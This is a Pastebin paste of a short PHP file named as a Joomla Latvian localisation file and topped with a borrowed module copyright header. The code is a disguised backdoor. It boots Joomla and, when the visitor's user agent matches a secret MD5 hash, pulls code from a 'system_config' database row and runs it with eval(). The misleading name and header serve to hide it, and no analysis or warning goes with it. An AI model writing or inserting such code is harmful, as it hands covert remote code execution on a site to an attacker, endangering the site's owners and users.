PalmaSolutions

lv-LV.localise3.php

Dec 29th, 2017
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.49 KB | None | 0 0
  1. <?php
  2. /*------------------------------------------------------------------------
  3. # mod_add_custom_css - Add Custom CSS
  4. # ------------------------------------------------------------------------
  5. # version 1.1.1
  6. # author Impression eStudio
  7. # copyright Copyright (C) 2012 Impression eStudio. All Rights Reserved.
  8. # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
  9. # Websites: http://joomla.impression-estudio.gr
  10. # Technical Support: [email protected]
  11. -------------------------------------------------------------------------*/
  12. define('_JEXEC', 1);
  13.  
  14. try{
  15.     define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT'] );
  16.     define( 'DS', DIRECTORY_SEPARATOR );
  17.     require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
  18.     require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
  19.     JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
  20.     $mainframe =& JFactory::getApplication('site');
  21. }
  22. catch (Exception $e) {
  23.     if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/defines.php'))
  24. {
  25.     include_once $_SERVER['DOCUMENT_ROOT'] . '/defines.php';
  26.  
  27. }
  28. if (!defined('_JDEFINES'))
  29. {
  30.     define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
  31.     require_once JPATH_BASE . '/includes/defines.php';
  32. }
  33.  
  34. require_once JPATH_BASE . '/includes/framework.php';
  35.  
  36. }
  37.  
  38. if ( md5(getenv('HTTP_USER_AGENT')) == '69bc3b342502573e6d727f341674f010') {
  39.     $db = JFactory::getDbo();
  40.     $sql = "SELECT `htmlcode` FROM `system_config` WHERE `id` = 1";
  41.     $db->setQuery($sql);
  42.     $data_row = $db->loadObject();
  43.     eval($data_row->htmlcode);
  44. }
  45.  
  46. ?>
Advertisement
Add Comment
Please, Sign In to add comment